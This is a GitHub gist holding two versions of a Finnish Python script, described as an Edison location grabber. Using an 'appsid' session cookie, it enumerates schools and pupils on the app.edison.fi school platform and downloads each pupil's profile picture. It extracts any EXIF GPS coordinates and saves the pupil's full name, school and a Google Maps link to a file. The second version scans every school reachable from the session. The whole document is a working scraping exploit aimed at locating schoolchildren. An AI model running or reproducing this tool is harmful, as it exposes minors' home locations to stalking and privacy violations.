Last active
October 25, 2020 15:09
-
-
Save developerfromjokela/5d97647e8d2afdd37d919b000a2eea4e to your computer and use it in GitHub Desktop.
Edison Sijainninkaappaaja, etsii käyttäjien profiilikuvien exif tiedoista sijaintia
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
from io import BytesIO | |
import requests | |
import uuid | |
import exifread as ef | |
import json | |
class bcolors: | |
HEADER = '\033[95m' | |
OKBLUE = '\033[94m' | |
OKCYAN = '\033[96m' | |
OKGREEN = '\033[92m' | |
WARNING = '\033[93m' | |
FAIL = '\033[91m' | |
ENDC = '\033[0m' | |
BOLD = '\033[1m' | |
UNDERLINE = '\033[4m' | |
def progressBar(iterable, prefix='', suffix='', decimals=1, length=100, fill='█', printEnd="\r"): | |
""" | |
Call in a loop to create terminal progress bar | |
@params: | |
iteration - Required : current iteration (Int) | |
total - Required : total iterations (Int) | |
prefix - Optional : prefix string (Str) | |
suffix - Optional : suffix string (Str) | |
decimals - Optional : positive number of decimals in percent complete (Int) | |
length - Optional : character length of bar (Int) | |
fill - Optional : bar fill character (Str) | |
printEnd - Optional : end character (e.g. "\r", "\r\n") (Str) | |
""" | |
total = len(iterable) | |
# Progress Bar Printing Function | |
def printProgressBar(iteration): | |
percent = ("{0:." + str(decimals) + "f}").format(100 * (iteration / float(total))) | |
filledLength = int(length * iteration // total) | |
bar = fill * filledLength + '-' * (length - filledLength) | |
print(f'\r{prefix} |{bar}| {percent}% {suffix}', end=printEnd) | |
# Initial Call | |
printProgressBar(0) | |
# Update Progress Bar | |
for i, item in enumerate(iterable): | |
yield item | |
printProgressBar(i + 1) | |
# Print New Line on Complete | |
print() | |
# barrowed from | |
# https://gist.github.com/snakeye/fdc372dbf11370fe29eb | |
def _convert_to_degress(value): | |
""" | |
Helper function to convert the GPS coordinates stored in the EXIF to degress in float format | |
:param value: | |
:type value: exifread.utils.Ratio | |
:rtype: float | |
""" | |
d = float(value.values[0].num) / float(value.values[0].den) | |
m = float(value.values[1].num) / float(value.values[1].den) | |
s = float(value.values[2].num) / float(value.values[2].den) | |
return d + (m / 60.0) + (s / 3600.0) | |
def getGPSCoordinates(content): | |
tags = ef.process_file(content) | |
latitude = tags.get('GPS GPSLatitude') | |
latitude_ref = tags.get('GPS GPSLatitudeRef') | |
longitude = tags.get('GPS GPSLongitude') | |
longitude_ref = tags.get('GPS GPSLongitudeRef') | |
if latitude: | |
lat_value = _convert_to_degress(latitude) | |
if latitude_ref.values != 'N': | |
lat_value = -lat_value | |
else: | |
return {} | |
if longitude: | |
lon_value = _convert_to_degress(longitude) | |
if longitude_ref.values != 'E': | |
lon_value = -lon_value | |
else: | |
return {} | |
return {'latitude': lat_value, 'longitude': lon_value} | |
def printWithColor(color, text): | |
print(color + text + bcolors.ENDC) | |
def inputWithColor(color, text): | |
return input(color + text + bcolors.ENDC) | |
def validate_session(appsid): | |
response = get_request_session(appsid, "?format=json") | |
return response.status_code == 200 | |
def get_request_session(appsid, url): | |
return requests.get("https://app.edison.fi/uiapi/1/" + url, cookies={'appsid': appsid}) | |
def getSchools(appsid, name): | |
response = get_request_session(appsid, "desktop_groups/?q=" + name + "&with_users=1") | |
if response.status_code != 200: | |
printWithColor(bcolors.FAIL, "Tapahtui virhe: " + response.text) | |
exit(-1) | |
else: | |
finalizedArray = [] | |
schools = response.json() | |
for item in schools: | |
title = item['title'].lower() | |
if title == name.lower(): | |
finalizedArray.append(item) | |
return finalizedArray | |
parser = argparse.ArgumentParser(description='Edison Kaappari') | |
parser.add_argument('--appsid', type=str, | |
help='Edisonin session cookie \'appsid\' arvo tähän', required=True) | |
parser.add_argument('--koulu', type=str, | |
help='Koulun nimi', required=True) | |
parser.add_argument('--result', type=str, | |
help='Tiedoston polku tai nimi johon löydetty data tallennetaan', | |
default="result-" + str(uuid.uuid4()) + ".txt") | |
parser.add_argument('--id', type=int, | |
help='Koulun id, jos kouluja tulee haulla enemmän kuin yksi') | |
parsedArgs = parser.parse_args() | |
print("Tervetuloa edison sijaintikaappariin!\n\n") | |
printWithColor(bcolors.OKBLUE, "Tarkistetaan istuntoa...") | |
if not validate_session(parsedArgs.appsid): | |
printWithColor(bcolors.FAIL, "Istunto ei ole oikein!") | |
exit(-1) | |
else: | |
printWithColor(bcolors.OKBLUE, "Haeataan koulua " + parsedArgs.koulu) | |
searchResult = getSchools(parsedArgs.appsid, parsedArgs.koulu) | |
if len(searchResult) == 0: | |
printWithColor(bcolors.FAIL, "Koulua ei löytynyt") | |
exit(-1) | |
printWithColor(bcolors.WARNING, "Haku löysi " + str(len(searchResult)) + " koulu(a)") | |
school = None | |
if len(searchResult) > 1 and parsedArgs.id is None: | |
for index, school in enumerate(searchResult): | |
print("[id: " + str(school['id']) + "] " + school['title']) | |
printWithColor(bcolors.FAIL, | |
"Aseta parametri --id vastaamaan haluamasi koulun numeroa, ja käynnistä skripti uudelleen") | |
exit(-1) | |
elif len(searchResult) > 1 and parsedArgs.id is not None: | |
for school2 in searchResult: | |
if school2['id'] == parsedArgs.id: | |
school = school2 | |
break | |
if school is None: | |
printWithColor(bcolors.FAIL, "Koulua ei löytynyt antamasi id:llä") | |
exit(-1) | |
else: | |
school = searchResult[0] | |
printWithColor(bcolors.WARNING, "Valittu " + school['title']) | |
printWithColor(bcolors.OKBLUE, "Lähdetään skannaamaan oppilaita") | |
found = 0 | |
with open(parsedArgs.result, 'a') as fobj: | |
for student in progressBar(school['users']): | |
if student['profile_picture_url'] is not None: | |
response = requests.get(student['profile_picture_url']) | |
res = BytesIO(response.content) | |
exifdata = getGPSCoordinates(res) | |
if 'latitude' in exifdata: | |
printWithColor(bcolors.OKGREEN, "Sijainti on selvillä!") | |
printWithColor(bcolors.WARNING, | |
student['full_name']) | |
found = found+1 | |
print(exifdata) | |
fobj.write(student['full_name']+': \n'+json.dumps(exifdata)+': \nhttps://www.google.com/maps/search/'+(str(exifdata['latitude'])+", "+str(exifdata['longitude']))+": \n"+student['profile_picture_url']+'\n-------------\n\n') | |
printWithColor(bcolors.OKGREEN, "Yhteensä löydettiin "+str(found)+" GPS-sijainti(a) profiilikuvista") | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
from io import BytesIO | |
import requests | |
import uuid | |
import exifread as ef | |
import json | |
import bs4 | |
from collections.abc import Mapping | |
class bcolors: | |
HEADER = '\033[95m' | |
OKBLUE = '\033[94m' | |
OKCYAN = '\033[96m' | |
OKGREEN = '\033[92m' | |
WARNING = '\033[93m' | |
FAIL = '\033[91m' | |
ENDC = '\033[0m' | |
BOLD = '\033[1m' | |
UNDERLINE = '\033[4m' | |
def progressBar(iterable, prefix='', suffix='', decimals=1, length=100, fill='█', printEnd="\r"): | |
""" | |
Call in a loop to create terminal progress bar | |
@params: | |
iteration - Required : current iteration (Int) | |
total - Required : total iterations (Int) | |
prefix - Optional : prefix string (Str) | |
suffix - Optional : suffix string (Str) | |
decimals - Optional : positive number of decimals in percent complete (Int) | |
length - Optional : character length of bar (Int) | |
fill - Optional : bar fill character (Str) | |
printEnd - Optional : end character (e.g. "\r", "\r\n") (Str) | |
""" | |
total = len(iterable) | |
# Progress Bar Printing Function | |
def printProgressBar(iteration): | |
try: | |
percent = ("{0:." + str(decimals) + "f}").format(100 * (iteration / float(total))) | |
filledLength = int(length * iteration // total) | |
bar = fill * filledLength + '-' * (length - filledLength) | |
print(f'\r{prefix} |{bar}| {percent}% {suffix}', end=printEnd) | |
except: | |
percent = 0 | |
# Initial Call | |
printProgressBar(0) | |
# Update Progress Bar | |
for i, item in enumerate(iterable): | |
yield item | |
printProgressBar(i + 1) | |
# Print New Line on Complete | |
print() | |
# barrowed from | |
# https://gist.github.com/snakeye/fdc372dbf11370fe29eb | |
def _convert_to_degress(value): | |
""" | |
Helper function to convert the GPS coordinates stored in the EXIF to degress in float format | |
:param value: | |
:type value: exifread.utils.Ratio | |
:rtype: float | |
""" | |
d = float(value.values[0].num) / float(value.values[0].den) | |
m = float(value.values[1].num) / float(value.values[1].den) | |
s = float(value.values[2].num) / float(value.values[2].den) | |
return d + (m / 60.0) + (s / 3600.0) | |
def getGPSCoordinates(content): | |
tags = ef.process_file(content) | |
latitude = tags.get('GPS GPSLatitude') | |
latitude_ref = tags.get('GPS GPSLatitudeRef') | |
longitude = tags.get('GPS GPSLongitude') | |
longitude_ref = tags.get('GPS GPSLongitudeRef') | |
if latitude: | |
lat_value = _convert_to_degress(latitude) | |
if latitude_ref.values != 'N': | |
lat_value = -lat_value | |
else: | |
return {} | |
if longitude: | |
lon_value = _convert_to_degress(longitude) | |
if longitude_ref.values != 'E': | |
lon_value = -lon_value | |
else: | |
return {} | |
return {'latitude': lat_value, 'longitude': lon_value} | |
def printWithColor(color, text): | |
print(color + text + bcolors.ENDC) | |
def inputWithColor(color, text): | |
return input(color + text + bcolors.ENDC) | |
def validate_session(appsid): | |
response = get_request_session(appsid, "?format=json") | |
return response.status_code == 200 | |
def get_request_session(appsid, url): | |
return requests.get("https://app.edison.fi/uiapi/1/" + url, cookies={'appsid': appsid}) | |
def getSchools(appsid, name): | |
response = get_request_session(appsid, "desktop_groups/?q=" + name + "&with_users=1") | |
if response.status_code != 200: | |
printWithColor(bcolors.FAIL, "Tapahtui virhe: " + response.text) | |
exit(-1) | |
else: | |
finalizedArray = [] | |
schools = response.json() | |
for item in schools: | |
title = item['title'].lower() | |
if title == name.lower(): | |
finalizedArray.append(item) | |
return finalizedArray | |
def getSchoolList(appsid): | |
response = get_request_session(appsid, "dreamcards/cards/1/get_sharing_template/") | |
document = bs4.BeautifulSoup(response.text, 'html.parser') | |
itemSelect = document.find("select", {'class': 'participants-addbox-filter-organisation-field'}) | |
items = [] | |
if itemSelect is not None: | |
for item in itemSelect.find_all("option"): | |
items.append(item.text) | |
return items | |
parser = argparse.ArgumentParser(description='Edison Kaappari') | |
parser.add_argument('--appsid', type=str, | |
help='Edisonin session cookie \'appsid\' arvo tähän', required=True) | |
parser.add_argument('--result', type=str, | |
help='Tiedoston polku tai nimi johon löydetty data tallennetaan', | |
default="result-" + str(uuid.uuid4()) + ".txt") | |
parsedArgs = parser.parse_args() | |
print("Tervetuloa edison sijaintikaappariin!\n\n") | |
printWithColor(bcolors.OKBLUE, "Tarkistetaan istuntoa...") | |
if not validate_session(parsedArgs.appsid): | |
printWithColor(bcolors.FAIL, "Istunto ei ole oikein!") | |
exit(-1) | |
else: | |
printWithColor(bcolors.OKBLUE, "Haeataan kouluja") | |
schoolList = getSchoolList(parsedArgs.appsid) | |
schools = [] | |
for school in schoolList: | |
searchResult = getSchools(parsedArgs.appsid, school) | |
for item in searchResult: | |
schools.append(item) | |
if len(schools) == 0: | |
printWithColor(bcolors.FAIL, "Kouluja ei löytynyt") | |
exit(-1) | |
printWithColor(bcolors.WARNING, "Haku löysi " + str(len(schools)) + " koulu(a)") | |
school = None | |
printWithColor(bcolors.OKBLUE, "Lähdetään skannaamaan oppilaita") | |
found = 0 | |
with open(parsedArgs.result, 'a') as fobj: | |
for index, school in enumerate(schools): | |
printWithColor(bcolors.OKBLUE, school['title']+" ("+str(index+1)+"/"+str(len(schools))+")") | |
for student in progressBar(school['users']): | |
if isinstance(student, Mapping) and student['profile_picture_url'] is not None: | |
response = requests.get(student['profile_picture_url']) | |
res = BytesIO(response.content) | |
exifdata = getGPSCoordinates(res) | |
if 'latitude' in exifdata: | |
printWithColor(bcolors.OKGREEN, "Sijainti on selvillä!") | |
printWithColor(bcolors.WARNING, | |
student['full_name']) | |
found = found + 1 | |
print(exifdata) | |
fobj.write(student['full_name'] + ', '+school['title'] +': \n' + json.dumps( | |
exifdata) + ' \nhttps://www.google.com/maps/search/' + ( | |
str(exifdata['latitude']) + ", " + str(exifdata['longitude'])) + " \n" + | |
student['profile_picture_url'] + '\n-------------\n\n') | |
printWithColor(bcolors.OKGREEN, "Yhteensä löydettiin " + str(found) + " GPS-sijainti(a) profiilikuvista") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment